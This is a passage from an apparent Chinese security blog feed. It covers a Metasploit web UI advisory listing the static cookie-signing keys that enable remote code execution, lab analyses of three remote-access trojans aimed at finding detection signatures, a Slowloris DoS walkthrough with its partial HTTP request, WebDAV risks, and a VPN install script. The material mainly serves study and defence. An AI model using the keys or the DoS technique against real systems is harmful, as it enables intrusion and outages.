&lt;p&gt;厂商公告   : &lt;a href="https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401"&gt;https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001&lt;/p&gt;
&lt;h3 id="漏洞描述-1"&gt;漏洞描述&lt;/h3&gt;
&lt;p&gt;通过第一个漏洞，我们已经可以确定cookie序列化设置为hybird，但是攻击者还必须知道cookie signing key的值才可以构造cookie，实现远程代码执行。非常不幸的是，MSF WEB UI中的secret_key_base是静态的，并且该值是公开的。以下是目前已知受影响的MSF的值：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;4.12.0-2016061501版本：d25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7&lt;/p&gt;
&lt;p&gt;4.12.0-2016062101版本：99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc&lt;/p&gt;
&lt;p&gt;4.12.0-2016072501版本：446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde&lt;/p&gt;
&lt;p&gt;4.12.0-2016081001版本：61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a&lt;/p&gt;
&lt;p&gt;4.12.0-2016081201版本：23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32&lt;/p&gt;
&lt;p&gt;4.12.0-2016083001版本：18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615&lt;/p&gt;</description></item><item><title>Bifrost1.2.1d远控木马样本分析报告</title><link>https://www.lucien116.com/archives/131/</link><pubDate>Wed, 21 Sep 2016 13:50:24 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=131</guid><description>&lt;p&gt;&lt;strong&gt;样本来源&lt;/strong&gt; &lt;a href="http://www.aljyyosh.com"&gt;http://www.aljyyosh.com&lt;/a&gt;                 &lt;strong&gt;样本类型&lt;/strong&gt; BDS.Bifrose.aec
&lt;strong&gt;分析时间&lt;/strong&gt; 2016-9-20 运行环境                          &lt;strong&gt;控制端&lt;/strong&gt;：Windows7 x64  &lt;strong&gt;木马端&lt;/strong&gt;：Windows XP&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;分析目的&lt;/strong&gt;    找出木马与控制端通信的特征码&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;分析过程&lt;/strong&gt; &lt;strong&gt;(1) 配置木马端&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="111" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/111.png"&gt;   图1-配置木马&lt;/p&gt;
&lt;p&gt;1. 木马端默认配置使用81端口，也可自行更改为其他端口。
2. 可同时设置多个不同的服务端地址，也可以使用Scoks4代理的方式上线。
3. 其他设置，配置过程中还可配置木马安装目录、注册表键值、离线键盘记录等功能。
4. 点击Build完成创建客户端。
&lt;strong&gt;(2) 安装木马端&lt;/strong&gt;
1. 在主机1（IP：10.0.3.160）上打开控制端，安装生成的木马样本（server.exe）到主机2（IP：10.0.3.153）.
2. 在主机1上开启Wireshark抓取主机1与主机2之间的通信数据.
3. 在主机2上双击安装木马样本。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(3) 开始分析&lt;/strong&gt;
1. 进程监视，样本安装后通过进程管理器可以看到，系统会生成进程名为server.exe的新进程，同时会进行镜像加载、查询本机注册表等一系列操作,上述操作完毕后，木马端会自动关闭进程。如下图：&lt;/p&gt;
&lt;p&gt;&lt;img alt="222" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/222.png"&gt;&lt;img alt="2221" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/2221.png"&gt;图2-进程监视&lt;/p&gt;
&lt;p&gt;2. 木马端安装后会在配置木马端时选择的安装目录（默认目录为C:\Program Files）下创建Bifrost文件夹并生成一个新的server.exe文件。如图：&lt;/p&gt;
&lt;p&gt;&lt;img alt="333" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/333.png"&gt;&lt;/p&gt;
&lt;p&gt;图3-默认安装目录&lt;/p&gt;
&lt;p&gt;3. 通过对主机1和主机2之间通信的数据包分析可发现，木马端在主机2上安装后，打开一个随机端口主动连接控制端81端口。如下图：&lt;/p&gt;
&lt;p&gt;&lt;img alt="444" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/444.png"&gt; 图4-连接端口&lt;/p&gt;
&lt;p&gt;4. 在控制端打开文件管理功能，尝试打开文件夹、删除文件等其他操作后查看抓取的数据包。如图：&lt;/p&gt;
&lt;p&gt;&lt;img alt="555" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/555.png"&gt;图5-文件管理功能&lt;/p&gt;
&lt;p&gt;经过多次抓包对比分析后，确认样本该控制端的通信特征为：00 00 00 2a 3d ba 1a.如下图：&lt;/p&gt;
&lt;p&gt;&lt;img alt="666" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/666.png"&gt;&lt;img alt="6661" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/6661.png"&gt;&lt;/p&gt;
&lt;p&gt;图6-通信特征&lt;/p&gt;
&lt;p&gt;5. 关闭控制端断开与木马端的连接，继续抓包，统计后发现若控制端未打开，木马上线后连接请求频率约12秒一次。如下图：&lt;/p&gt;
&lt;p&gt;&lt;img alt="777" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/777.png"&gt;&lt;/p&gt;
&lt;p&gt;图7-木马端连接请求&lt;/p&gt;
&lt;p&gt;6. 配置木马端时改变连接密码再重复以上操作，抓包分析发现，改变连接密码后通信特征码不变。若控制端连接密码错误，则木马端随机使用一端口号连接控制端81端口，大约每隔11秒，端口号+2并再次尝试连接控制端。如下图：&lt;/p&gt;
&lt;p&gt;&lt;img alt="888" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/888.png"&gt;&lt;/p&gt;
&lt;p&gt;图8-连接密码错误时的连接请求&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;数据记录和计算&lt;/strong&gt;   无&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;结 论&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Ramcos远控木马样本分析报告</title><link>https://www.lucien116.com/archives/122/</link><pubDate>Tue, 20 Sep 2016 12:54:43 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=122</guid><description>&lt;p&gt;样本来源http://Breaking-Security.net样本类型Win32.Backdoor.Remcos.Agba分析时间2016-9-7运行环境Windows7 x64分析目的找出木马被控端与控制端通信的特征码分析过程(1)
配置木马端&lt;/p&gt;
&lt;p&gt;&lt;img alt="3" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/3-1.png"&gt;&lt;/p&gt;
&lt;p&gt;图1-配置木马&lt;/p&gt;
&lt;p&gt;1.       木马端默认配置使用2404端口，也可自行更改为其他端口。&lt;/p&gt;
&lt;p&gt;2.       可设置上线密码，默认密码为pass。&lt;/p&gt;
&lt;p&gt;3.       其他设置，配置过程中可设置后门安装目录，键盘记录等其他功能，部分功能需要升级到专业版才能使用，如图2。&lt;/p&gt;
&lt;p&gt;&lt;img alt="2" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/2-1.png"&gt;&lt;/p&gt;
&lt;p&gt;图2-安装设置&lt;/p&gt;
&lt;p&gt;4.       选择压缩方式后点击Builde,完成创建。如下图&lt;/p&gt;
&lt;p&gt;&lt;img alt="3" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/3-1.png"&gt;
图3-生成木马样本&lt;/p&gt;
&lt;p&gt;(2)    安装木马样本&lt;/p&gt;
&lt;p&gt;1.       在主机1（IP：10.0.3.154）上打开控制端，安装生成的木马样本（Backdoor.exe）到主机2（IP：10.0.3.159）.&lt;/p&gt;
&lt;p&gt;2.       在主机1上开启Wireshark抓取主机1与主机2之间的通信数据，同时在主机2上打开进程监控工具。&lt;/p&gt;
&lt;p&gt;3.       在主机2上双击安装木马样本。&lt;/p&gt;
&lt;p&gt;(3)    开始分析&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;进程监视，样本安装后通过进程监视器可以看到，系统会生成进程名为Backdoor.exe的新进程，同时会进行镜像加载、查询注册表键值等一系列操作。如图4：&lt;/p&gt;
&lt;p&gt;&lt;img alt="4" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/4-1.png"&gt;&lt;/p&gt;
&lt;p&gt;图4-进程监视&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过对主机1和主机2之间通信的数据包分析可发现，木马端在主机2上安装后，打开一个随机端口主动连接控制端2404端口。如图5：&lt;/p&gt;
&lt;p&gt;&lt;img alt="5" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/5-1.png"&gt;&lt;/p&gt;
&lt;p&gt;图5-连接端口&lt;/p&gt;
&lt;p&gt;3.       样本采用未知编码方式加密，从通信数据流中可以看出使用默认密码时样本通信特征码为：1b84d5b05df4c493c530c2. 如图6：&lt;/p&gt;
&lt;p&gt;&lt;img alt="6" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/6.png"&gt;
图6-通信特征&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;若配置样本时不使用默认密码（自定义连接密码为123456），通过wrieshark抓包分析，特征值改变，如图7：&lt;/p&gt;
&lt;p&gt;&lt;img alt="7" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/7.png"&gt;&lt;/p&gt;
&lt;p&gt;图7-修改连接密码后的特征值&lt;/p&gt;
&lt;p&gt;5.       统计后发现若控制端未打开，木马上线后连接请求频率约6秒一次。&lt;/p&gt;
&lt;p&gt; 数据记录&lt;/p&gt;
&lt;p&gt;和计算无结  论1.  使用默认密码时的样本数据特征: 1b84d5b05df4c493c530c2&lt;/p&gt;
&lt;p&gt;2.  样本特征值会随配置时设置连接密码的不同而改变&lt;/p&gt;
&lt;p&gt;3.  默认配置下木马端主动连接控制端TCP2404端口（端口可更改）&lt;/p&gt;
&lt;p&gt;4.  木马上线连接请求频率约5秒一次。&lt;/p&gt;</description></item><item><title>NanoCore远控木马样本分析</title><link>https://www.lucien116.com/archives/113/</link><pubDate>Tue, 13 Sep 2016 09:58:18 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=113</guid><description>&lt;p&gt;样本来源https://nanocore.io/样本类型TR.Dropper.MSIL.GEN7分析时间2016-9-7运行环境Windows7 x64分析目的找出木马被控端与控制端通信的特征码分析过程(1)    配置木马端&lt;/p&gt;
&lt;p&gt;&lt;img alt="1" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/1.png"&gt;&lt;/p&gt;
&lt;p&gt;图1-配置木马
1.       木马端默认配置使用54984端口，也可自行更改为其他端口。&lt;/p&gt;
&lt;p&gt;2.       可同时设置两个不同的服务端地址，其中一个为备用地址。&lt;/p&gt;
&lt;p&gt;3.       其他设置，配置过程中还可设置客户端DNS服务地址，打开键盘记录等其他功能。&lt;/p&gt;
&lt;p&gt;4.       点击Compile完成创建客户端。&lt;/p&gt;
&lt;p&gt;(2)    安装客户端&lt;/p&gt;
&lt;p&gt;1.       在主机1（IP：10.0.3.154）上打开控制端，安装生成的木马样本（nano.exe）到主机2（IP：10.0.3.159）.&lt;/p&gt;
&lt;p&gt;2.       在主机1上开启Wireshark抓取主机1与主机2之间的通信数据，同时在主机2上打开进程监控工具。&lt;/p&gt;
&lt;p&gt;3.       在主机2上双击安装木马样本。&lt;/p&gt;
&lt;p&gt;(3)    开始分析&lt;/p&gt;
&lt;p&gt;1.       进程监视，样本安装后通过进程监视器可以看到，系统会生成进程名为nano.exe的新进程，同时会进行镜像加载、查询本机注册表等一系列操作。如下图：
&lt;img alt="2" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/2.png"&gt;&lt;img alt="3" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/3.png"&gt;&lt;/p&gt;
&lt;p&gt;图2-进程监视&lt;/p&gt;
&lt;p&gt;2.       通过对主机1和主机2之间通信的数据包分析可发现，木马端在主机2上安装后，打开一个随机端口主动连接控制端54984端口。如下图：
&lt;img alt="4" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/4.png"&gt;&lt;/p&gt;
&lt;p&gt;图3-连接端口&lt;/p&gt;
&lt;p&gt;3.       样本采用未知编码方式加密，从通信数据流中可以看出样本通信特征码为：08000000c1c3d0324359a178. 如下图：&lt;/p&gt;
&lt;p&gt;&lt;img alt="5" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/09/5.png"&gt;&lt;/p&gt;
&lt;p&gt;图4-通信特征&lt;/p&gt;
&lt;p&gt;4.       统计后发现若控制端未打开，木马上线后连接请求频率约5秒一次数据记录&lt;/p&gt;
&lt;p&gt;和计算无结  论1.  样本数据特征: 08000000c1c3d0324359a178&lt;/p&gt;
&lt;p&gt;2.  默认配置下被控端主动连接控制端TCP54984端口（端口可更改）&lt;/p&gt;
&lt;p&gt;3.  木马上线连接请求频率约5秒一次。&lt;/p&gt;</description></item><item><title>浅谈Slowloris拒绝服务攻击</title><link>https://www.lucien116.com/archives/111/</link><pubDate>Tue, 13 Sep 2016 09:26:42 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=111</guid><description>&lt;p&gt;原文地址： &lt;a href="http://blog.chinaunix.net/uid-26696966-id-3510191.html"&gt;浅谈Slowloris拒绝服务攻击&lt;/a&gt; 作者： &lt;a href="http://blog.chinaunix.net/uid/26696966.html"&gt;xcgsnowdrop&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;DDOS又称为分布式拒绝服务，全称是Distributed Denial of Service。DDOS本是利用合理的请求造成资源过载，导致服务不可用。比如一个停车场共有100车位，当100车位都停满后，再有车想要停进来，就必须等待已有的车先出去才行。如果已有的车一直不出去，那么停车场的入口就会排气长队，停车场的负荷过载，不能正常工作了，这种情况就是“拒绝服务”。&lt;/p&gt;
&lt;p&gt;常见的DDOS攻击有SYN flood、UDP flood、ICMP flood等。其中SYN flood是一种最为经典的DDOS攻击。其利用的是TCP协议设计中的缺陷，此处先避开不谈。&lt;/p&gt;
&lt;p&gt;        Slowloris攻击则是利用Web Server的漏洞或设计缺陷，直接造成拒绝服务。下面通过一个典型示例分析slowloris的拒绝服务攻击本质。&lt;/p&gt;
&lt;p&gt;        Slowloris是在2009年由著名Web安全专家RSnake提出的一种攻击方法，其原理是以极低的速度往服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限，因此若是恶意地占用住这些连接不释放，那么Web Server的所有连接都将被恶意连接占用，从而无法接受新的请求，导致拒绝服务。&lt;/p&gt;
&lt;p&gt;要保持住这个连接，RSnake构造了一个畸形的HTTP请求，准确地说，是一个不完整的HTTP请求。&lt;/p&gt;
&lt;p&gt;        GET / HTTP/1.1\r\n&lt;/p&gt;
&lt;p&gt;        HOST: host\r\n&lt;/p&gt;
&lt;p&gt;        User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3;     .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n&lt;/p&gt;
&lt;p&gt;        Content-Length: 42\r\n&lt;/p&gt;
&lt;p&gt;在正常的HTTP包头中，是以两个CLRF表示HTTP Headers部分结束的。&lt;/p&gt;
&lt;p&gt;由于Web Server只收到了一个\r\n，因此将认为HTTP Headers部分没有结束，并保持此连接不释放，继续等待完整的请求。此时客户端再发送任意HTTP头，保持住连接即可。&lt;/p&gt;
&lt;p&gt;X-a: b\r\n&lt;/p&gt;
&lt;p&gt;当构造多个连接后，服务器的连接数很快就会达到上限。在Slowloris的专题网站上可以下载到POC演示程序，其核心代码置于文章底部，记为slowloris.pl），下面开始使用该脚本工具演示如何使用slowloris攻击使Web Server拒绝服务：&lt;/p&gt;
&lt;p&gt;一，准备工作&lt;/p&gt;
&lt;p&gt;1.在本机安装配置好Apache2.x，设置MaxClients为50&lt;/p&gt;
&lt;p&gt;2.在Browser中访问http://127.0.0.1，结果显示正常&lt;/p&gt;
&lt;p&gt;3.下载或编写slowloris.pl脚本&lt;/p&gt;
&lt;p&gt;二，开始阶段&lt;/p&gt;
&lt;p&gt;1.测试每个http连接等待超时时间，前面我们说过，当Web Server只收到了一个\r\n时，因将其认为HTTP Headers部分尚未结束，故会保持此连接不释放，继续等待完整的请求，此处测试的即为该连接等待完整请求的超时时间。&lt;/p&gt;
&lt;p&gt;perl slowloris.pl -dns 127.0.0.1 -port 80 -test&lt;/p&gt;</description></item><item><title>Webdav安全配置相关与漏洞利用</title><link>https://www.lucien116.com/archives/110/</link><pubDate>Mon, 12 Sep 2016 05:58:57 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=110</guid><description>&lt;h3 id="0x00-简介"&gt;0x00 简介&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1，在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。&lt;/p&gt;
&lt;p&gt;使应用程序可直接对Web Server直接读写，并支持写文件锁定(Locking)及解锁(Unlock)，还可以支持文件的版本控制。&lt;/p&gt;
&lt;p&gt;IIS实现Webdav是采用的其两种接口CGI、ISAPI的ISAPI接口。&lt;/p&gt;
&lt;p&gt;但因为其没有采用影射的方式，所以IIS的主程序w3svc.dll本身包含了Webdav的信息。&lt;/p&gt;
&lt;p&gt;其识别出是Webdav的请求后就调用Webdav的处理模块httpext.dll。&lt;/p&gt;
&lt;p&gt;对于常见几种请求方法 &lt;code&gt;GET、HEAD、POST&lt;/code&gt; 等，因为常见一些映射都支持。&lt;/p&gt;
&lt;p&gt;所以不能以请求方法作为Webdav请求的判断，w3svc.dll就根据请求头的字段识别。&lt;/p&gt;
&lt;p&gt;如果请求头里面包含 &lt;code&gt;Translate:&lt;/code&gt;、 &lt;code&gt;If:&lt;/code&gt;、 &lt;code&gt;Lock-Token:&lt;/code&gt; 中的一种，就认为是Webdav的请求。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Translate:&lt;/code&gt; 就是那个 &lt;code&gt;Translate:f&lt;/code&gt; 的泄露源代码的一个请求头，其实设置别的两个也是一样的。&lt;/p&gt;
&lt;p&gt;可能很多IDS是没有这点知识的。W3svc.dll还内置了几个别的请求方法 &lt;code&gt;TRACK&lt;/code&gt;、 &lt;code&gt;TRACE&lt;/code&gt; 等。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;TRACK&lt;/code&gt; 就是用于调试错误的，如果收到这样的请求头，w3svc.dll会原样返回请求数据。&lt;/p&gt;
&lt;p&gt;相当于我们常见的ping.exe。&lt;/p&gt;
&lt;p&gt;IIS对 &lt;code&gt;TRACK&lt;/code&gt; 请求没有进行LOG记录，这点我们可以用于来获得banner。&lt;/p&gt;
&lt;p&gt;对于IIS将优于大家习惯使用的 &lt;code&gt;HEAD&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;如果上面的请求方法没匹配，那么w3svc.dll就会认为是Webdav的请求，交给httpext.dll处理了。&lt;/p&gt;
&lt;p&gt;这些请求包含Webdav支持的 &lt;code&gt;PROPFIND&lt;/code&gt;、 &lt;code&gt;PROPPATCH&lt;/code&gt;、 &lt;code&gt;MKCOL&lt;/code&gt;、 &lt;code&gt;DELETE&lt;/code&gt;、 &lt;code&gt;PUT&lt;/code&gt;、 &lt;code&gt;COPY&lt;/code&gt;、 &lt;code&gt;MOVE&lt;/code&gt;、 &lt;code&gt;LOCK&lt;/code&gt;、 &lt;code&gt;UNLOCK&lt;/code&gt; 等。&lt;/p&gt;
&lt;h3 id="0x01-配置"&gt;0x01 配置&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;为了安全上的考虑，IIS默认并不会启动WebDAV的功能，因此必须另外来激活它。&lt;/p&gt;
&lt;p&gt;通过启动“IIS管理器”，展开本地计算机，选择“Web服务扩展”，选择“允许”的途径来启动WebDAV功能。&lt;/p&gt;
&lt;p&gt;开启WebDAV之后，IIS就支持 &lt;code&gt;PROPFIND&lt;/code&gt;、 &lt;code&gt;PROPPATCH&lt;/code&gt;、 &lt;code&gt;MKCOL&lt;/code&gt;、 &lt;code&gt;DELETE&lt;/code&gt;、 &lt;code&gt;PUT&lt;/code&gt;、 &lt;code&gt;COPY&lt;/code&gt;、 &lt;code&gt;MOVE&lt;/code&gt;、 &lt;code&gt;LOCK&lt;/code&gt;、 &lt;code&gt;UNLOCK&lt;/code&gt; 等方法了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="enter image description here" loading="lazy" src="http://static.wooyun.org/20140714/2014071411022117223.jpeg"&gt;&lt;/p&gt;
&lt;p&gt;当IIS中的配置允许写入的时候就可以直接PUT文件上去，由此可能引发非常严重的安全问题，强烈建议禁制&lt;/p&gt;
&lt;p&gt;&lt;img alt="enter image description here" loading="lazy" src="http://static.wooyun.org/20140714/2014071411022191372.jpeg"&gt;&lt;/p&gt;</description></item><item><title>一键搭建适用于Ubuntu/CentOS的IKEV2/L2TP的VPN</title><link>https://www.lucien116.com/archives/108/</link><pubDate>Sat, 03 Sep 2016 21:21:06 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=108</guid><description>&lt;p&gt;使用bash脚本一键搭建Ikev2的vpn服务端.&lt;/p&gt;
&lt;h1 id="特性"&gt;特性&lt;/h1&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;服务端要求：Ubuntu或者CentOS-6.*&lt;/li&gt;
&lt;li&gt;客户端：
&lt;ul&gt;
&lt;li&gt;iOS/OSX=&amp;gt;ikev1,ikev2&lt;/li&gt;
&lt;li&gt;Andriod=&amp;gt;ikev1&lt;/li&gt;
&lt;li&gt;WindowsPhone=&amp;gt;ikev2&lt;/li&gt;
&lt;li&gt;其他Windows平台=&amp;gt;ikev2&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;可使用自己的私钥和根证书，也可自动生成&lt;/li&gt;
&lt;li&gt;证书可绑定域名或ip&lt;/li&gt;
&lt;li&gt;要是图方便可一路回车&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h1 id="最近更新"&gt;最近更新&lt;/h1&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;使用新版strongswan(5.3.5),编译参数修改;&lt;/li&gt;
&lt;li&gt;优化iptables包处理;&lt;/li&gt;
&lt;li&gt;添加接口判断选择;&lt;/li&gt;
&lt;li&gt;加入对iOS9的ikev2支持;&lt;/li&gt;
&lt;li&gt;DH组修改为2048,解决iOS9设备8分钟断开的问题;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h1 id="服务端安装说明"&gt;服务端安装说明&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;下载脚本:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget --no-check-certificate https://raw.githubusercontent.com/quericy/one-key-ikev2-vpn/master/one-key-ikev2.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;注:如需使用其他分支的脚本,请将上述url中的master修改为分支名称,各分支区别详见本页的 &lt;a href="https://github.com/quericy/one-key-ikev2-vpn#%E5%88%86%E6%94%AF%E8%AF%B4%E6%98%8E"&gt;分支说明&lt;/a&gt; 节点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;运行( &lt;strong&gt;如果有需要使用自己的根证书请将私钥命名为ca.pem，将根证书命名为ca.cert.pem，放到脚本的相同目录下再运行该脚本&lt;/strong&gt;)：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod +x one-key-ikev2.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash one-key-ikev2.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;等待自动配置部分内容后，选择vps类型（OpenVZ还是Xen、KVM）， &lt;strong&gt;选错将无法成功连接，请务必核实服务器的类型&lt;/strong&gt;。输入服务器ip或者绑定的域名(连接vpn时服务器地址将需要与此保持一致)，以及证书的相关信息(C,O,CN)，为空将使用默认值(default value)，确认无误后按任意键继续&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;是否使用SNAT规则(可选).使用前请确保服务器具有不变的 &lt;strong&gt;静态公网ip&lt;/strong&gt;,可提升防火墙对数据包的处理速度.默认为不使用.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;补充网卡接口信息,为空则使用默认值(Xen、KVM默认使用eth0,OpenVZ默认使用venet0).如果服务器使用其他公网接口需要在此指定接口名称,否则连接后可能无法访问外网)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;输入两次pkcs12证书的密码(可以为空)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;看到install Complete字样即表示安装完成。默认用户名密码将以黄字显示，可根据提示自行修改配置文件中的用户名密码,多用户则在配置文件中按格式一行一个(多用户时用户名不能使用%any),保存并重启服务生效。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将提示信息中的证书文件ca.cert.pem拷贝到客户端，修改后缀名为.cer后导入。ios设备使用Ikev1无需导入证书，而是需要在连接时输入共享密钥，共享密钥即是提示信息中的黄字PSK.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="客户端配置说明"&gt;客户端配置说明:&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;连接的服务器地址和证书保持一致,即取决于签发证书ca.cert.pem时使用的是ip还是域名;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Android/iOS/OSX&lt;/strong&gt; 可使用ikeV1,认证方式为用户名+密码+预共享密钥(PSK);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;iOS/OSX/Windows7+/WindowsPhone8.1+/Linux&lt;/strong&gt; 均可使用IkeV2,认证方式为用户名+密码,均需要先导入证书,可将ca.cert.pem更改后缀名作为邮件附件发送给客户端,手机端也可通过浏览器导入,其中:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;iOS/OSX&lt;/strong&gt; 的远程ID和服务器地址保持一致,用户鉴定选择&amp;quot;用户名&amp;quot;.如果通过浏览器导入,将证书放在可访问的远程外链上,并在 &lt;strong&gt;系统浏览器&lt;/strong&gt;(Safari)中访问外链地址;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Windows PC&lt;/strong&gt; 系统导入证书需要导入到 &lt;strong&gt;&amp;ldquo;本地计算机&amp;rdquo;&lt;/strong&gt; 的&amp;quot;受信任的根证书颁发机构&amp;quot;,以&amp;quot;当前用户&amp;quot;的导入方式是无效的.推荐运行mmc添加本地计算机的证书管理单元来操作;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
